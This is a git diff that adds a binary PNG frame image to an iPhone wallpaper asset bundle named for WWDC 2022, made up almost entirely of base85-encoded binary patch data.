mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/darkmodeframe5.png new file mode 100644 index 0000000000000000000000000000000000000000..b6dc21c24fde06dac597928adb0922a7c4a28d72 GIT binary patch literal 47297 zcmeFZ30PC-wmwd4TU${%Jr+SxaEMSu1VIFZKntZBrdUP+0g*{$h>S4=h_(fK5E*tv zKp<2LBD11^KmZjPf(VvTh6I%eB9KS|M23*x+Cf{->FK%W{_p+W|8t+`m*-J-vcJ8v z^X;|Px7PcbnIADg2gM=i_` zx)c2Ox_J;zclw1`gr~Pp0CoqrrhdmZ9}nyfdo2rfi_^xQ zCw&fw2YFhDTiUpX`?~9T>@YM~qkrZgoWS2R#BJLdf4_j>gJ-Zi#OFN-+vvw?JGP03 zg!p229JM&I&6p76xlL=Y)?W1;25YwI2YGlMwEE`Tw+F*J?2eNmA*TRzLrlV8BHm8w-(AqV-yLj2I_;@u z<$fe4K3Au`&9QGu-T`5P+j|=#sO7z zZFTkE23rt3e7s2iY_QgWgZuWw;Dhgv2J`T63vv5*#{V|q2hq_h7X_yIFR$qLV~h!Y zgdn&$_zjxki~W5U&e-@!5W&mG5B3FH9WvU6Gci7}Pxrt9RgJy-#ADI>cJPSL8Bf2X z-}v}@1_XnRVR!7)dizU$-|g_HyT#vc4ekYBvT{=N?jFSXyLo%s`*?($eD8d}?=klb z@c!d2^gj88qK0l8-~)G7Lwu3qqmKT*4}Pe+y4ri+?w%gvi-6Ou>Jiqn^ zTf*)D=k)Oo@C@4KbHvSKo5tP)d-wnSc;ZP*M^`?Z2gv1Bue849DU<(owUnYkpcc^^x z-51S}6>TWwzD^RqkXbp?|t6crYrH}nm z%B{XJ?e+WHy72al?=%^igH>a}^#WQ~?b!D_Gp#zm4K>Wsye7X{>du(VMrMi3=93?v z+7$O?%z=ZNnkFWTcYbM2&~~Y@dl4*hG~N^N5ikuq=Ic`mjT=gv8#R=)Vun5=q|y?> zSi5gDiu%dN_f0-7|N7%Y<`F$O>Nh;oyOJBeQaZSMA8ErU8q>DsuQh@gt+Mw$5S0c^(@zx_RW#vY6+Ry&Y%a5CICei2hC#u^%T^GbM3?q8?x*4{RUg>&s3l<`J3tl)H z_AS%$ste{yX|B@c8^mko|KIjMGWX0$ z0muaGP$wE(V&}jIZFlq;g!Q$bhP??#8pKERA;+|4c075;!PKm+{nV>TlDforeExV) zVJw{2G0S5NJ?e?i%a3m~6rAzzy40tw{t?&KhY{>^j9%x%Aom1LFI?MI%H8zr+(+na zoc&~UT#h4g*Y8X?QmCmgthf+_j44&Qzl?^RuYcKeXO%=3J0Hi&@R)im>9GBfQhyrz zwruq(35j@G_Qek*t~FArbTz)F-!MmcJcdJ-s{IQbD1Vu7M@hl7@^8)s&DUzePZ!c_ z5qfpraxR8Y*kXp*zqpsdCsXNl8eBT2S

UVi4s;NAB!-W*QqSO{!5O z`8Ni}H7-8USqQwGhZGzBHO+Yk|;1RR`b|47|W>}H=vv%H|o#PtV(6gxDMIu zN!r2~m0r6;4YwCp=Jev`+S0J>Aaf*jf1An_dD(!Gp~6GhS23&i7GRUu+PnGfmV(WW zlLBO@Q=L12Q7CND(_(bYbsJWw2Iq&F@|xfq6MJi~&er9Ha;r2MFH%TqIHHTwWL$SG zSM^2hPR7`7o~4;K!Ew^qM^E%a{_R~1qmHSvR=Vcqv0@drvuk=PCWFii$lk^sxW75k zHOf1*>{N*Y`L9V z-Ad09%E!L=wNlOLu+YHMc!b_rH`dfj$5iDjaqB+gl_(cY=QNSZ7wM8~NcQ%ls?F%= zKDpFi>~FIKw>emCd{X7j8%+(H$9g#Yy{hbTnn*P#O1`P(4Q`Xf@wNmr-Z}j@PC@+E zj)!0^@oDGuB-HH;FR_0ZkJ|hL#pC6A2?=$pPrxjXI;Sj%E{61O5?fr7cwEi;+Ox@; zA*&@MWH+rMN}L_{6p!Bl<0ZNtJ>DuIaU8RD2uw5kik^hT-A`q~hTA?dCW5h_L+!b3 zy?FZr@%F}*&&6ZpS3VbSD~h+JE5cuX9DnySTzjDo=WiGIbE@46-@zQ$2)cXClLReB zLS0;4zdF|kXJ^aKI(pskV5p#qJDfPq%jw3>;e9d%*NucNFrA`RUA2lWde@IoqL3Q7 zQLGB%o-`>@xw|iqW1wIaxYqoaDPutwGPLitd3&_*A+l#G#zUzxYf*G`W_U z!XCIH^EDE1gzomzr0u8r3s)AO_?yl@Ty?`HRjKOCOOqQ7qZl+)X^vdQ*rO5Z$>jk2 z8r95H_GO4b?4_Kw5_c#0d=0q0DtGU0l{jvozl))^uJ%*73l3gS*Gs4yE-CJT+oPdz z8tx<-i0q_l&wl>qNcHf3h#HC{w}w9ijryK&0@7zcnw83aLtEft<^vk i|qCM?ZP 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

gbEN%-Y)>#yq&xIm<=8IgmP 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 